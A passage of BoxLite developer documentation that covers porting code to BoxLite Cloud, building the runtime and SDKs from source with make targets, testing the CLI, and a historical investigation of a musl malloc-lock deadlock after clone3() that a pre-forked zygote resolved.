image="ghcr.io/boxlite-ai/boxlite-agent-base:v0.1.0", # A managed volume replaces the host bind mount. volumes=[(volume_id, "/data")], ), name=f"port-demo-{int(time.time())}", # name belongs to create(), not BoxOptions ) await box.start() # Write into the volume, then read it back. The data survives this box. write = await box.exec("sh", args=["-c", "echo 'written in the box' > /data/notes.txt"]) await write.wait() execution = await box.exec("cat", args=["/data/notes.txt"]) output = "" async for line in execution.stdout(): output += line result = await execution.wait() print(f"Exit code: {result.exit_code}") print(output) except Exception as exc: print(f"Cloud call failed: {exc!r}") finally: # Teardown lives on the runtime, not on the box. if box is not None: await rt.remove(box.id, force=True) asyncio.run(main()) ``` The volume in the second script is the part that carries state forward. Destroy the box and create another one against the same volume id, and `/data/notes.txt` is still there. ### Do not send `path_prefix` to Cloud This one catches people who came from the open-source reference server. That server mounts its routes under a prefix, so the client must pass `path_prefix="default"` — see [Manage remote sandboxes over REST](/guides/agent-service-endpoint). Cloud serves the SDK REST API without a prefix, so you pass only `url` and `credential`. Carry a `path_prefix` over from working self-hosted code and your requests will not land where you expect. ## Troubleshooting a port | Symptom | Cause | Fix | | - | - | - | | Files written to a mounted host directory are missing inside the box | Host bind mounts are ignored in REST mode | Create a managed volume and mount it by id: `volumes=[(volume_id, "/data")]` — see [Volumes](/cloud/volumes) | | Requests fail to reach the expected route | `path_prefix` was carried over from the open-source reference server | Pass only `url` and `credential` to `BoxliteRestOptions` | | `box.remove()` is not available on the box handle | Removal is a runtime method on Cloud | `await rt.remove(box.id, force=True)` | | `BoxOptions` rejects `name` as an unknown field | `name` is a parameter of `create()`, not a `BoxOptions` field | `await rt.create(BoxOptions(...), name="my-box")` | | `BoxOptions` rejects `disk_gib` as an unknown field | The field has a different name | Use `disk_size_gb` | | `BoxOptions` rejects `idle_timeout` or `wake_on_access` as unknown fields | Those are not the field names | Use `auto_stop`, `auto_resume`, and `auto_delete` — see [Boxes](/cloud/boxes) | | `boxlite pull` and image APIs report that the operation is unsupported | Image operations are not supported over REST | Use a console base image or `ghcr.io/boxlite-ai/boxlite-agent-base:v0.1.0` | | HTTP 401 on every call | The key is missing, wrong, or expired | Check `BOXLITE_API_KEY` and the key's expiry — see [API keys](/cloud/api-keys) | | Box creation fails once a number of boxes are already running | You reached your plan's concurrency limit | Remove idle boxes, or change plan — see [Wallet or a plan?](/cloud/plans#concurrency-is-a-separate-decision) | | A long-running job stops partway through | The box hit its idle timeout — work inside the box does not count as activity | Adjust the idle switches for that box — see [Boxes](/cloud/boxes) | ## Next * [Cloud quickstart](/cloud/quickstart) — create a key and run your first command end to end. * [What is BoxLite Cloud](/cloud/index) — the runtime model and what Cloud adds. * [Python SDK reference](/reference/python) — the full signatures, types, and defaults shared by both runtimes. # Building from source Source: https://docs.boxlite.ai/development/building-from-source From git clone to a working local SDK, using the repository's own make targets. Read this when you need to modify the runtime, build for a platform with no release, or get a symbol-bearing build for debugging. Most users should install the published package instead. ## Prerequisites * A working BoxLite install (Python `boxlite` or Node `@boxlite-ai/boxlite`) and a machine with hardware virtualization — see [Installation](/getting-started/installation#platform-and-virtualization-requirements-common-to-all-sdks). ### Hardware virtualization (required to run, not to build) BoxLite starts microVMs, so **running** sandboxes requires hardware virtualization; but **building** the source alone does not require virtualization to be available. | Platform | Requirement | | - | - | | macOS Intel | Not supported | > Without virtualization the build can succeed, but running examples will fail > to start a box. See Troubleshooting at the end. ### Toolchain (installed automatically by `make setup`) You do **not** need to install these dependencies one by one — `make setup` calls the right script per platform (`scripts/setup/setup-macos.sh` or `setup-ubuntu.sh`, etc.) and installs everything. The table below only documents which components get installed and their minimum versions. | Dependency | Minimum version | Purpose | Evidence | | - | - | - | - | | Rust (stable) | 1.88 (`Cargo.toml` declares `rust-version`) | Core runtime, CLI, the native layer of each SDK | `rust-version` in `Cargo.toml`, `rust-toolchain.toml` | | `protobuf` (`protoc`) | Distro's current version | Compile the gRPC/protobuf protocol in `src/shared` | `setup-ubuntu.sh:101` (`protobuf-compiler`); `setup-macos.sh:193` (`brew install protobuf`) | | Go | 1.24+ | Go SDK (CGO) | `GO_MIN_MAJOR`/`GO_MIN_MINOR` in `scripts/setup/setup-common.sh` (`GO_MIN_MAJOR=1` / `GO_MIN_MINOR=24`) | | CMake | Current version | C SDK test cases | `setup-macos.sh:208` (`brew install cmake`); `setup-ubuntu.sh:104` (`cmake`) | | musl cross toolchain / LLVM / dtc | --- | Cross-compile the guest binary, build libkrun (only configured by the script on macOS) | `setup-macos.sh:76-194` | The build also depends on git submodules (libkrun, libkrunfw, e2fsprogs, bubblewrap); see the steps below. *** ## Quick Example: the fastest path to a local Python SDK Run the following commands in order at the repository root, taking you from nothing to "a local wheel installed into `.venv` and importable". ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} # 1. Clone the repository git clone https://github.com/boxlite-ai/boxlite.git cd boxlite # 2. Fetch the git submodules required for the build (libkrun / libkrunfw / e2fsprogs / bubblewrap) # Without this step, the runtime build fails because it cannot find the vendor sources git submodule update --init --recursive # 3. One-time install of the platform toolchain + test/dev dependencies (script selected by OS) # The first run is slow: it installs Rust, protobuf, cmake, etc. make setup # 4. Build and install the Python SDK into the project .venv in editable mode (debug) make dev:python # 5. Verify: import with the project .venv Python and print the version .venv/bin/python -c "import boxlite; print('boxlite', boxlite.__version__)" ``` The final step should print the version you built (the latest published version when building from a release tag). > Build other SDKs: replace step 4 with `make dev:node` / `make dev:go` / > `make dev:c`. When you need the CLI binary, use `make cli` (artifact at > `./target/debug/boxlite`). ### Verify the local build runs (requires virtualization) Save the snippet below as `verify_build.py` and run it with `.venv/bin/python verify_build.py`. It uses the freshly built local SDK to start a minimal sandbox and run one command. ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} # verify_build.py -- verify that a locally source-built boxlite can start a box and run a command import asyncio from boxlite import SimpleBox from boxlite import BoxliteError async def main() -> None: # SimpleBox is an async context manager; it actually creates + starts only on entry try: async with SimpleBox(image="alpine:latest") as box: result = await box.exec("echo", "hello from source build") # A non-zero exit code does not raise; check exit_code yourself if result.exit_code != 0: print("command failed:", result.stderr) return print("stdout:", result.stdout.strip()) except BoxliteError as exc: # Wrapper-layer error (parse/exec/timeout, etc.) print("boxlite error:", exc) except RuntimeError as exc: # Image pull failure, no virtualization, etc. raise a standard RuntimeError (not BoxliteError) print("runtime error (no virtualization or image pull failed?):", exc) if __name__ == "__main__": asyncio.run(main()) ``` *** ## Core `make` targets (Parameters and Returns) Run all targets at the repository root: `make `. For the full list, see `make help`. ### Setup | Target | Effect | Artifacts / side effects | | - | - | - | | `make setup` | Equivalent to `make setup:dev`: build deps + test/dev deps | Installs the toolchain, creates `.venv`, installs git hooks | | `make setup:build` | Build deps only (recommended for CI) | Calls `scripts/setup/setup-*.sh` per OS | | `make setup:test` | Test/dev extras only (nextest, Node deps, hooks, Python venv) | Prepares the test runtime environment | ### Build (core runtime and CLI) | Target | Effect | Artifacts | | - | - | - | | `make guest` | Cross-compile the guest binary (runs inside the VM) | Guest binary | | `make runtime` | Build the runtime artifact (release) | Release runtime | | `make runtime:debug` | Build the runtime artifact (debug) | Debug runtime | | `make cli` | Build the `boxlite` CLI (debug, depends on `runtime:debug`) | `./target/debug/boxlite` | | `make cli:release` | Build the CLI (release, depends on `runtime`) | `./target/release/boxlite` | | `make skillbox-image` | Build the SkillBox Docker image | `boxlite-skillbox:latest` (use a mirror to speed up: `make skillbox-image APT_SOURCE=mirrors.aliyun.com`) | ### Local development (install SDK locally, debug mode) | Target | Effect | Artifacts | | - | - | - | | `make dev:python` | maturin builds a wheel (with embedded runtime) and installs it editable into `.venv` | `import boxlite` works in `.venv` | | `make dev:node` | napi-rs builds the native module + compiles TS, and links it into `examples/node` | `sdks/node` usable locally | | `make dev:go` | Build the native lib (debug) + `go build` (run with `-tags boxlite_dev`) | Go SDK debug build | | `make dev:c` | Build the C SDK (debug) | `target/debug/libboxlite.{dylib,so,a}` + `sdks/c/include/boxlite.h` | ### Distribution (distributable artifacts, release) | Target | Effect | Artifacts | | - | - | - | | `make dist:python` | cibuildwheel builds portable wheels | Platform wheels | | `make dist:node` | napi-rs packages the npm package | npm tarball | | `make dist:go` | Build the Go SDK release (with symbol fixups) | Release native lib | | `make dist:c` | Build the C SDK release and stage it into `sdks/c/dist/` | `sdks/c/dist/lib/`, `sdks/c/dist/include/` | > **Ordering dependencies (handled automatically)**: `cli` depends on > `runtime:debug`, `cli:release` depends on `runtime`, and each `dev:*` triggers > `runtime:debug` first when `SETUP_DONE` is not marked. Invoke the > top-level target; make fills in the prerequisites automatically. *** ## Cross-platform notes * **macOS (Apple Silicon)**: `make setup` uses Homebrew to install `protobuf`, `cmake`, `llvm`, `dtc`, etc., and writes the musl cross-linker into `~/.cargo/config.toml` (for cross-compiling the guest). The runtime uses Hypervisor.framework and **does not require KVM**. * **Linux (Ubuntu/Debian)**: `make setup` uses `apt-get` to install `build-essential`, `protobuf-compiler`, `musl-tools`, `llvm`, `libclang-dev`, `cmake`, etc.; other distributions auto-select `setup-manylinux.sh` (yum) or `setup-musllinux.sh` (apk). Running requires `/dev/kvm` to be accessible. * **Windows**: follow the Linux flow inside WSL2; make sure WSL2 has KVM enabled and the user is in the `kvm` group. * **macOS Intel**: not supported; the build scripts exit with an error on unsupported platforms. *** ## Troubleshooting The following are common failure modes when building from source, and how to fix them. ### `make setup` reports "Unsupported Linux distribution / Unsupported platform" `setup:build` only recognizes the apt-get / yum / apk package managers and Darwin. Other platforms `exit 1` directly (see `make/setup.mk:24-30`). **Fix**: build on a supported platform, or follow the corresponding `scripts/setup/setup-*.sh` to install the full toolchain manually, then skip `make setup` and run `make dev:*` directly. ### Runtime build fails, cannot find libkrun / vendor sources The cause is that submodules were not fetched. `src/deps/*/vendor/` is provided by git submodules (libkrun, libkrunfw, e2fsprogs, bubblewrap; see `.gitmodules`). **Fix**: ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} git submodule update --init --recursive ``` ### `protoc` / protobuf compilation errors Code generation for the gRPC/protobuf in `src/shared` requires `protoc`. If you skip `make setup` and build manually, this tool may be missing. **Fix**: install the protobuf compiler (macOS: `brew install protobuf`; Ubuntu/Debian: `sudo apt-get install protobuf-compiler`), or run `make setup:build` and let the script handle it. ### Rust too old / edition 2024 errors The repository's `Cargo.toml` declares `rust-version = "1.88"` and uses edition 2024\. Older Rust will report unsupported edition or features. **Fix**: `rustup update stable` (`rust-toolchain.toml` pins the channel to stable and requires the rustfmt/clippy components). ### Go SDK: symbols not found after `go build` / cannot run The Go SDK uses CGO, and the debug build needs a build tag. `make dev:go` uses `go build -tags boxlite_dev`; running `go build` directly is missing the symbols. **Fix**: ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} # Build with the tag the debug build needs cd sdks/go && go build -tags boxlite_dev ./... # The same tag is required for tests go test -tags boxlite_dev -v ./... ``` ### Build succeeds on macOS, but a box won't start when running examples Building does not require virtualization; running does. macOS uses Hypervisor.framework (no `/dev/kvm` required); Linux requires `/dev/kvm` to be accessible, and WSL2 requires the user to be in the `kvm` group. Without virtualization, startup failure usually raises a standard `RuntimeError` (the process stays alive and can be caught and retried). **Fix**: confirm the platform meets the prerequisites; use `verify_build.py` from the Quick Example to distinguish a "build problem" from a "virtualization/image pull problem". ### Image pull failure raises `RuntimeError` (not `BoxliteError`) A missing command or an image pull failure raises a standard `RuntimeError` (Python) / bare `Error` (Node), not `BoxliteError`. See [Error Handling](/guides/error-handling#troubleshooting). ### Do not hand-write `cargo` / `npm` / `maturin` The repository convention is to always use `make` targets — the Makefile encapsulates the correct flags, cross-compilation config, environment, and ordering. Calling the low-level tools by hand often misses these. **Fix**: check `make help` first to find the corresponding target; only if there is none should you consider a low-level command. # CLI development guide Source: https://docs.boxlite.ai/development/cli-development Build, test, and extend the boxlite command — implemented in the boxlite-cli crate under src/cli/. The CLI is a thin front end over the runtime: it parses arguments, builds the same `BoxOptions` the SDKs use, and dispatches to a runtime created from a per-invocation home directory. Knowing that shape is what lets you add a subcommand without re-implementing runtime behavior. Style rules are in the [Rust style guide](/development/rust-style). ## Prerequisites * The BoxLite source repository, with the Rust toolchain installed (`rustup` default stable). Prefer the `make` targets over calling `cargo` directly. * Familiarity with [clap](https://docs.rs/clap), [assert\_cmd](https://docs.rs/assert_cmd), and [predicates](https://docs.rs/predicates), which the CLI and its tests use. ## Building the CLI From the repository root: ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} make cli ``` `make cli` depends on `runtime:debug`, so it builds the debug runtime first (if needed), then runs `cargo build -p boxlite-cli`. The binary is produced at: ```text theme={"theme":{"light":"github-light","dark":"github-dark"}} ./target/debug/boxlite ``` Run it with `./target/debug/boxlite --help`. For a release build: ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} make cli:release # depends on the release runtime, then: cargo build -p boxlite-cli --release ``` The release binary is at `./target/release/boxlite`. ## Quick Example — run the CLI integration tests ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} # Builds the debug runtime first, then runs the CLI integration suite. make test:integration:cli ``` This is the same target CI runs (see [Integration tests](/development/e2e-local)). It uses `--no-fail-fast` so one failing test does not hide the rest. Pass `FILTER=` to narrow the run: ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} make test:integration:cli FILTER=test_run_exit_code ``` ## CLI test layout The integration tests live under `src/cli/tests/`: * **Entry points:** `src/cli/tests/*.rs` — roughly one file per command (for example `run.rs`, `create.rs`, `exec.rs`, `list.rs`, `rm.rs`, `pull.rs`, `images.rs`, `inspect.rs`, `info.rs`, `start.rs`, `stop.rs`, `restart.rs`, `auth.rs`, `completion.rs`), plus a few cross-cutting suites such as `lifecycle_journey.rs` and `registry.rs`. * **Shared setup:** `src/cli/tests/common/mod.rs` provides a `TestContext` and the constructor functions that build it. `common::boxlite()` returns a `TestContext` that: * Resolves the binary under test from the `CARGO_BIN_EXE_boxlite` environment variable (set by Cargo for the integration test binary). * Allocates a **per-test, isolated home directory** via `PerTestBoxHome` (from the `boxlite-test-utils` crate) and passes it with `--home`. The image/rootfs cache is symlinked in read-only and shared across tests, while the database and `boxes/` directory are per-test and writable — so tests do not contend over a single global home, and the per-test home is cleaned up automatically on drop. * Applies the test registries (`--registry`) so image references resolve against the test mirrors. * Sets a 60-second per-command timeout on the `assert_cmd::Command`. * Exposes `cleanup_box(name)` / `cleanup_boxes(names)` helpers and `new_cmd()` to issue additional commands against the same home. Use `common::boxlite_bare()` instead when a test needs full control over which registries are used (it skips the default `--registry` flags). The first `PerTestBoxHome` constructed in a test process triggers a one-time warm-up of a shared cache: it pre-pulls the standard test images (`alpine:latest`, `python:alpine`) under a cross-process lock and warms the guest rootfs pipeline. Subsequent tests reuse that cache, which keeps the suite fast and avoids registry rate limits. ## Writing a test Tests use `assert_cmd::Command` to invoke the binary and `predicates` to assert exit codes and stdout/stderr. Always start from `common::boxlite()` (or `boxlite_bare()`), and clean up any boxes the test creates — either by passing `--rm` to the command or by calling `ctx.cleanup_box(...)`. ```rust theme={"theme":{"light":"github-light","dark":"github-dark"}} use predicates::prelude::*; mod common; #[test] fn test_run_exit_code_success() { let mut ctx = common::boxlite(); ctx.cmd .args(["run", "--rm", "alpine:latest", "sh", "-c", "exit 0"]); ctx.cmd.assert().success(); } #[test] fn test_run_exit_code_custom() { let mut ctx = common::boxlite(); ctx.cmd .args(["run", "--rm", "alpine:latest", "sh", "-c", "exit 42"]); ctx.cmd.assert().code(42); } ``` `PerTestBoxHome` has a drop guard that fails the test if a box's shim is left alive when the home is torn down, so a missing cleanup surfaces as a test failure rather than a leaked microVM. ## Code structure * **Entry:** `src/cli/src/main.rs` — parses the CLI and dispatches each `Commands` variant to the matching `commands::*::execute(args, &global)` (for example `commands::run::execute`). * **Subcommands and flags:** `src/cli/src/cli.rs` — the clap definitions: `Cli`, `Commands`, `GlobalFlags`, `ProcessFlags`, `ResourceFlags`, `NetworkFlags`, `PublishFlags`, `VolumeFlags`, `CapabilityFlags`, `KernelFlags`, and `ManagementFlags`. `GlobalFlags` carries `--home` and registry flags and exposes helpers for building the runtime and applying flag groups to `BoxOptions`. * **Command implementations:** `src/cli/src/commands/*.rs` — one module per command (with `auth/` and `serve/` as submodule trees). Each exposes an `execute(args, global)` and shares runtime-construction helpers from `GlobalFlags`. ## Adding a new subcommand 1. Add a new variant to `Commands` in `src/cli/src/cli.rs`, along with its `Args` type (or reuse existing flag groups such as `ProcessFlags` / `ResourceFlags`). 2. Add the new module to `src/cli/src/commands/mod.rs` and implement `execute(args, &global)` in `src/cli/src/commands/.rs`. 3. In `src/cli/src/main.rs`, add a `cli::Commands::(args) => commands::::execute(args, &global).await...` arm to the dispatch `match`. 4. Add tests in `src/cli/tests/.rs` (start from `common::boxlite()`) and run `make test:integration:cli`. ## Parameters & Returns | Target / item | What it does | | - | - | | `make cli` | Build the debug CLI (after building the debug runtime). | | `make cli:release` | Build the release CLI (after building the release runtime). | | `make test:integration:cli` | Run the CLI integration suite with `--no-fail-fast` (supports `FILTER=`). | | `make test:integration:core` | Run the core integration suites (Rust + CLI). | | `make test` | Run only the suites for changed components (`make test:changed`); a CLI change runs the CLI integration suite. | | `common::boxlite()` | A `TestContext` with default registries and a per-test isolated home. | | `common::boxlite_bare()` | A `TestContext` with no default registries (for full registry control). | | `ctx.cleanup_box(name)` | Force-remove a box created during the test. | | `CARGO_BIN_EXE_boxlite` | Cargo-provided path to the CLI binary under test. | ## Troubleshooting | Symptom | Cause | Fix | | - | - | - | | `make test:integration:cli` fails to boot a VM | No hardware virtualization | Linux: confirm `/dev/kvm` is accessible and your user is in the `kvm` group; macOS Apple Silicon needs no `/dev/kvm`. See [Integration tests](/development/e2e-local). | | A test fails on drop with a "live shim" message | The test created a box but did not remove it | Pass `--rm` to the command, or call `ctx.cleanup_box(...)` before the test ends. | | Image pulls are slow or rate-limited on the first test | The shared cache has not been warmed yet | The first `PerTestBoxHome` warms the cache once per process; subsequent tests reuse it. Re-run after the warm-up completes. | | A new subcommand compiles but is never invoked | The dispatch arm in `main.rs` is missing | Add the `cli::Commands::(...)` arm to the `match` in `src/cli/src/main.rs`. | ## See also * [Integration tests](/development/e2e-local) — how the integration tests run in CI and how to reproduce them locally. * [Rust Style Guide](/development/rust-style) — coding standards for the BoxLite crates. # Concurrent execution deadlock investigation Source: https://docs.boxlite.ai/development/concurrent-exec-deadlock **Resolved and superseded.** A historical record of one deadlock — kept for the debugging method, not as current behavior. The hang is fixed: the guest now forks a single-threaded zygote before tokio starts any threads, and that zygote handles every `clone3()` (`src/guest/src/container/zygote.rs`). **If you hit a concurrent `exec` hang today, do not assume it is this bug** — re-diagnose from the Troubleshooting section below. ## Conclusion ### Root cause: musl's `__malloc_lock` deadlocks after `clone3()` in a multi-threaded process The guest binary (`boxlite-guest`) is statically linked against **musl libc** (`aarch64-unknown-linux-musl`) and runs on a **multi-threaded tokio runtime**. When `libcontainer` calls `clone3()` to fork the intermediate process, the child inherits a **locked `__malloc_lock`** (musl's global allocator mutex, symbol address `0x16f6e68` in BSS) — the lock was held by another tokio thread that happened to be doing a heap allocation at the moment of the fork. Because musl does **not** install a `pthread_atfork` handler to reset `__malloc_lock` in the child, the intermediate process deadlocks on its **first memory allocation** — before it can send any channel message or close the inherited file descriptors. The parent then blocks forever on `recvmsg()`. ### Deadlock Call Graph ```text theme={"theme":{"light":"github-light","dark":"github-dark"}} TOKIO RUNTIME (multi-threaded, PID 1 inside guest VM) ┌──────────────────────────────────────────────────────────────┐ │ │ │ Thread A (tokio-runtime-w) Thread B (any tokio thrd) │ │ ┌───────────────────────────┐ ┌────────────────────────┐│ │ │ ExecService::exec() │ │ (doing any work) ││ │ │ ↓ │ │ ↓ ││ │ │ ContainerExecutor::spawn()│ │ Vec::push() / String ││ │ │ ↓ │ │ ::from() / format!() ││ │ │ container.lock().await │ │ ↓ ││ │ │ ↓ │ │ malloc() ││ │ │ spawn_blocking { │ │ ↓ ││ │ │ builder.build() │ │ lock(__malloc_lock) ◄━━━━━ HOLDS │ │ ↓ │ │ 0x16f6e68 = 0x02 ││ │ │ tenant_builder.build() │ │ ↓ ││ │ │ ↓ │ │ (memcpy, split, etc.) ││ │ │ builder_impl.create() │ │ ↓ ││ │ │ ↓ │ │ unlock(__malloc_lock) ││ │ │ run_container() │ └────────────────────────┘│ │ │ ↓ │ │ │ │ container_main_process │ │ │ │ ↓ │ │ │ │ socketpair() x3 │ Creates 6 fds: │ │ │ (SEQPACKET+CLOEXEC) │ main_sender (ms) │ │ │ ↓ │ main_receiver (mr) │ │ │ │ inter_sender (is) │ │ │ ════════════════════════════════════════════════════ │ │ │ clone3() ← FORK ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ │ │ │ ════════════════════════════════════════════════════ │ │ │ ↓ (parent path) │ │ │ │ close(ms) ✓ │ │ │ │ close(is) ✓ │ │ │ │ ↓ │ │ │ │ mr.recv() ━━━━━━━━━━━━━━━━━━━━━ BLOCKS FOREVER │ │ │ (recvmsg on SEQPACKET) │ (peer ms still open in │ │ │ (syscall 212, aarch64) │ child process) │ │ └───────────────────────────┘ │ └──────────────────────────────────────────────────────────────┘ ═══════════════════════════════ clone3() boundary ══════════════ INTERMEDIATE PROCESS (PID 248, single-threaded child) ┌──────────────────────────────────────────────────────────────┐ │ │ │ Inherited from fork: │ │ ┌────────────────────────────────────────────────────────┐ │ │ │ • ALL 6 channel fds (ms, mr, is, ir, xs, xr) │ │ │ │ • __malloc_lock at 0x16f6e68 = 0x80000002 (LOCKED) │ │ │ │ • Thread B DOES NOT EXIST in this process │ │ │ │ • musl has NO pthread_atfork to reset __malloc_lock │ │ │ └────────────────────────────────────────────────────────┘ │ │ │ │ container_intermediate_process() │ │ ↓ │ │ FIRST LINE OF CODE that does heap allocation: │ │ Vec::new(), String::from(), format!(), PathBuf, Box, etc. │ │ ↓ │ │ malloc() → lock(__malloc_lock) → futex(FUTEX_WAIT_PRIVATE) │ │ ↓ │ │ ═══════════ DEADLOCK ═══════════ │ │ Lock owner (Thread B) does not exist in child. │ │ futex will NEVER be woken. │ │ │ │ Consequences: │ │ ✗ NEVER sends intermediate_ready to parent │ │ ✗ NEVER forks init process │ │ ✗ NEVER closes inherited channel fds: │ │ fd=23 → main_sender (peer of parent's mr) │ │ fd=25 → inter_sender (peer of parent's ir) │ │ ✗ NEVER exits │ │ │ │ Parent's recv() consequence: │ │ poll(mr) → revents=0x0 (peer alive, no POLLHUP) │ │ FIONREAD → 0 bytes available │ │ → recvmsg blocks forever │ └──────────────────────────────────────────────────────────────┘ ``` ### Why it is intermittent (\~30-50%) The deadlock occurs only when another thread happens to hold `__malloc_lock` at the exact instant `clone3()` runs. When several tokio workers allocate memory frequently, this overlap is likely but not certain: ```text theme={"theme":{"light":"github-light","dark":"github-dark"}} Thread B: ──────[ malloc ]───────[ malloc ]───────[ malloc ]── ▲ ▲ lock held lock held (few μs) (few μs) clone3(): ─────────┼───────────────┼──────────────────┼────── DEADLOCK SAFE DEADLOCK ``` ### Why it is musl-specific | Behavior | glibc | musl | | - | - | - | | `pthread_atfork` for malloc | Yes — resets the lock in the child | **No** — explicitly unsupported | | `__malloc_lock` in the child | Reset to the unlocked state | **Copied as-is (stays locked)** | | `fork()` safety | malloc is largely safe | **Unsafe if another thread is in malloc** | ### Fix Options | Option | Approach | Pros | Cons | | - | - | - | - | | **A** | Watchdog kills the process + retry | Fast; no libcontainer changes | Retry adds latency | | **B** | **Pre-fork helper process (the zygote)** | Eliminates the entire bug class | Adds architectural complexity | | **C** | Child closes fds before allocating | Fixes the fd leak | Does not fix the futex deadlock | | **D** | Switch to glibc | Removes the root cause directly | Larger binary, dynamic linking | | **E** | vfork / CLONE\_VFORK | Fixes it at the fork layer | Large libcontainer changes | **Adopted and implemented: Option B (the zygote pre-fork model).** The implementation is in `src/guest/src/container/zygote.rs`: the zygote is forked **before** tokio starts any threads, stays single-threaded for its entire lifetime, and handles all `build()` calls over IPC (a SEQPACKET socket, serialized with a mutex) — so `clone3()` always runs in a single-threaded context where `__malloc_lock` cannot be held by another thread. This is the same pattern used by runwasi's Zygote (PR #775) and runc's nsexec. The investigation report originally recommended "A (short term) + B (long term)"; the more thorough Option B was adopted in the end. ### Upstream status (youki) This is a **known issue** in the youki project, tracked at [containers/youki#2144](https://github.com/containers/youki/issues/2144) ("cargo test with musl hangs occasionally"), raised in July 2023 by maintainer `yihuaf`. **The issue was never truly fixed in any release (including v0.6.0).** Upstream only worked around it: | PR | Action | Date | Status | | - | - | - | - | | [#2150](https://github.com/containers/youki/pull/2150) | Disable the flaky musl test in CI | 2023-07 | Merged | | [#2615](https://github.com/containers/youki/pull/2615) | Attempted fix: leak the `Box` closure to avoid `free()` in the child | — | Closed, not merged | | [#2685](https://github.com/containers/youki/pull/2685) | Set `--test-threads=1` to serialize all tests | 2024-02 | Merged | The note on PR #2685: *"The root cause is that the tests run in a multi-threaded environment, which should not happen in real use."* **Why upstream does not treat it as a problem, but BoxLite is affected:** ```text theme={"theme":{"light":"github-light","dark":"github-dark"}} Upstream youki: youki CLI (single-threaded) → clone3() → safe ✓ BoxLite guest: tokio runtime (multi-threaded) → spawn_blocking → clone3() → DEADLOCK ✗ ``` Upstream assumes youki runs as a standalone single-threaded CLI, where no other thread holds `__malloc_lock` at fork time. BoxLite embeds `libcontainer` in a multi-threaded tokio runtime — exactly the scenario upstream considers "should not happen in real use". **Upgrading libcontainer does not fix the problem**: the [v0.6.0 release](https://github.com/containers/youki/releases/tag/v0.6.0) (2025-02) made no changes to clone3, fork, or multi-threaded behavior. The fix had to be implemented by BoxLite itself (the zygote above). *** ## Reproducing the shape of the bug The following is a **regression-verification** script: it issues several concurrent `exec` calls against the same box and waits for all of them to return. **On the current, fixed version it should pass reliably** — this is the same class of workload that previously had a \~30-50% chance of hanging. Use it as a smoke test for whether this bug has regressed. ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} # Requires: pip install boxlite (latest published version) # Platform: Linux+KVM or macOS (Apple Hypervisor.framework) # Purpose: concurrent exec regression smoke test — after the fix all should return reliably, with no hang import asyncio from boxlite import SimpleBox from boxlite.errors import BoxliteError # The deadlock was originally triggered at concurrency 8; raise the pressure slightly here CONCURRENCY = 16 async def main() -> None: # SimpleBox is an async context manager; the box is created lazily and only starts on entering async with try: async with SimpleBox(image="alpine:latest") as box: async def one(i: int) -> str: # SimpleBox.exec timeout parameter is timeout (float, seconds); env takes a dict (not a list) result = await box.exec("echo", f"hello_{i}", timeout=30.0) # a non-zero exit code does not raise; check exit_code yourself if result.exit_code != 0: raise RuntimeError( f"task {i} exit_code={result.exit_code} stderr={result.stderr!r}" ) return result.stdout.strip() # Launch CONCURRENCY execs at once; before the fix this had a ~30-50% chance of hanging forever outputs = await asyncio.gather(*(one(i) for i in range(CONCURRENCY))) print(f"all {len(outputs)} execs returned, e.g. {outputs[:3]}") except BoxliteError as exc: # wrapper-layer error (parent of ExecError/TimeoutError/ParseError) print(f"BoxLite error: {exc}") except RuntimeError as exc: # Note: image pull failure / no virtualization raise a standard RuntimeError, not BoxliteError print(f"runtime error (image pull / virtualization?): {exc}") if __name__ == "__main__": asyncio.run(main()) ``` > To run a test closer to the original reproduction inside the source repository, use the guest-side zygote concurrency test (it asserts that 4 concurrent `build()` calls all complete with no deadlock; see the test module at the end of `src/guest/src/container/zygote.rs`). Prefer `make test`; do not call `cargo` directly. * This page is for contributors and kernel/runtime debuggers; it is **not** an SDK usage tutorial. Before reading, you should understand: process `fork`/`clone3` semantics, Unix-domain `SOCK_SEQPACKET` socketpairs, futexes, and the difference between musl and glibc in `fork()` safety. * Reading/modifying the guest and zygote source and running the Rust tests requires the BoxLite source repository and `make` / `cargo test` (prefer the `make` targets; do not call `cargo` directly). *** ## Debug Process (methodology reference) > The procedure below is the reusable core of this page. Source paths have been updated to the real repository layout with the `src/guest/...` prefix. `libcontainer/...` refers to the vendored youki crate (a dependency, not under the BoxLite repository's `src/`). ### Step 1: Reproduce the hang **Tool:** `cargo test --nocapture` + a loop runner. Run `test_concurrent_exec_high_concurrency` in a loop: it issues 8 concurrent `exec("echo hello_N")` calls against the same VM and waits for all of them to complete. ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} # Historical reproduction script (from that time); the current version is fixed, so it should pass reliably # Inside the repository prefer make targets, not cargo directly for i in $(seq 1 10); do cargo test -p boxlite --features krun \ --test execution_shutdown test_concurrent_exec_high_concurrency \ -- --nocapture 2>&1 done ``` **Observation:** A failure rate of roughly \~30-50%. When it hangs, one exec never returns and the test times out at 120s. The hang always occurs inside `TenantContainerBuilder::build()` within the guest VM. **Conclusion:** A reproducible race. The container mutex guarantees that only one `build()` runs at a time, yet it still hangs intermittently. ### Step 2: Locate where build() blocks **Tool:** Reading the libcontainer (youki v0.5.7) source. Trace the call path (the first two lines are BoxLite guest source; the rest is the vendored youki crate): ```text theme={"theme":{"light":"github-light","dark":"github-dark"}} src/guest/src/service/exec/executor.rs → ContainerExecutor::spawn() src/guest/src/container/command.rs → build_and_spawn() libcontainer/tenant_builder.rs → TenantContainerBuilder::build() libcontainer/builder_impl.rs → ContainerBuilderImpl::create() → run_container() libcontainer/container_main_process.rs → container_main_process() libcontainer/process/channel.rs → channel pairs (SEQPACKET) libcontainer/process/fork.rs → clone3() without CLONE_FILES ``` **Key findings:** * `build()` creates a pipe (O\_CLOEXEC), then `create()` → `container_main_process()`. * `container_main_process()` creates 3 channel pairs with `socketpair(AF_UNIX, SOCK_SEQPACKET, SOCK_CLOEXEC)`, then calls `clone3()`. * After the fork, the parent closes `main_sender` and `inter_sender`, then blocks on `main_receiver.wait_for_intermediate_ready()` (a single `recvmsg`). * The channel `Sender`/`Receiver` wrap raw fds and have **no Drop implementation** — they must be closed explicitly or they 